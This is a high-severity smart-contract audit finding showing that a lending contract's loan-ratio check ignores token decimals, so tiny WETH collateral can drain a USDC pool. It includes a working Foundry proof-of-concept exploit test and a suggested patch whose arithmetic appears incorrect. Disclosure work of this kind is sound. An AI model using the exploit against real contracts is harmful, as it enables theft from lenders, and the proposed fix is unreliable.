20,000 USDC
View results
Submission Details
Severity: high
Valid

Usage of Low Decimal Tokens Can Result In Complete Loss of Funds

Summary

The protocol ignores the possibility of using an atypical decimals ERC20 token even though the developer stated that the goal here is to just allow any token combo. The Contract Overview section specifies that maxLoanRatio - the highest LTV they are willing to take on the loan (this is multiplied by 10^18). The decimals discrepancy between the loanToken and the collateralToken can be exploited to steal the borrowed amount.

Vulnerability Details

Inside the body of the borrow function from Lender.sol the loanRatio is computed and checked as follows:

uint256 loanRatio = (debt * 10 ** 18) / collateral;
if (loanRatio > pool.maxLoanRatio) revert RatioTooHigh();

The lack of decimals control leads to the following situation:

(1) Alice decides to lend out 100,000 USDC with WETH as collateral.

(2) Vladimir listens for PoolCreated(poolId, p) events to check if there are any cases of low decimals loanTokens. He finds Alice's pool.

(3) Vladimir puts up a small collateral, as low as 0.0001 WETH (around 0.19$) and borrows the whole amount of 100,000 USDC (99,500 after fee). Obviously he will never repay this amount.

MockUSDC public loanToken; // standard ERC20 with decimals() modified to return 6
TERC20 public collateralToken;
address public alice = address(0x1); //lender
address public vladimir = address(0x2); //borrower
function setUp() public {
// Contract + tokens deploy
lender = new Lender();
loanToken = new MockUSDC(); //USDC
collateralToken = new TERC20(); //WETH
// Minting
loanToken.mint(address(alice), 100000 * 10 ** 6);
collateralToken.mint(address(vladimir), 100000 * 10 ** 18);
// Approvals
vm.startPrank(alice);
loanToken.approve(address(lender), 10000000000 * 10 ** 6);
collateralToken.approve(address(lender), 10000000000 * 10 ** 18);
vm.stopPrank();
vm.startPrank(vladimir);
loanToken.approve(address(lender), 10000000000 * 10 ** 6);
collateralToken.approve(address(lender), 10000000000 * 10 ** 18);
vm.stopPrank();
}
function testSteal() public {
//Pool setup
vm.startPrank(alice);
Pool memory p = Pool({
lender: alice,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 10000 * 10 ** 6,
poolBalance: 100000 * 10 ** 6,
maxLoanRatio: 1450 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
vm.stopPrank();
// Debt and collateral configuration
uint256 debt = 100000 * 10 ** 6;
uint256 collateral = 0.0001 * 10 ** 18;
console.log("Vladimir's initial USDC balance: ", loanToken.balanceOf(vladimir));
// Borrowing
vm.startPrank(vladimir);
Borrow memory b = Borrow({poolId: poolId, debt: debt, collateral: collateral});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
vm.stopPrank();
console.log("Vladimir's final USDC balance: ",loanToken.balanceOf(vladimir));

The same vulnerability is present in the other place where the loanRatio > pool.maxLoanRatio check is performed, in the refinance function.

Impact

Alice suffers a complete loss of funds + gas because Vladimir exploited the lack of decimals control. Vladimir "borrowed" 99,500 USDC for close to 0 $ collateral.

Tools Used

Foundry testing + Manual review

Recommendations

This can be remedied in two ways:

  1. Insert a check that allows only the usage of typical decimals ERC20 tokens; (In my opinion this is the least favorable solution)

  2. Ensure that the decimal discrepancy is taken into account when calculating the loanRatio;

This can be done by adding a function to retrieve decimals in IERC20.sol:

+function decimals() external view returns (uint8);

and the following lines in Lender.sol:

-uint256 loanRatio = (debt * 10 ** 18) / collateral;
+uint8 loanTokenDecimals = IERC20(pools[poolId].loanToken).decimals();
+uint8 collateralTokenDecimals = IERC20(pools[poolId].collateralToken).decimals();
+uint256 loanRatio = (debt * 10 ** 18 * 10 ** (18-loanTokenDecimals)) / collateral * 10 ** (18-collateralTokenDecimals);

This way of computing the loanRatio is decimals agnostic.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!